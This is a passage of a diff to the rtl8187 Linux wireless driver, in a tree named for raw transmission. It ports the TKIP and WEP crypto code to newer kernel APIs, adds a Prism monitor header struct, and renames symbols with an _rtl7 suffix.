+#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-08-12 13:11:32.000000000 -0400 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211.h 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-08-12 14:23:20.000000000 -0400 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,21 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) - -extern inline void *ieee80211_priv(struct net_device *dev) +#if WIRELESS_EXT >= 22 +static inline void *ieee80211_priv_rtl7(struct net_device *dev) +#else +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) +#endif { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1200,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1226,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1254,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct 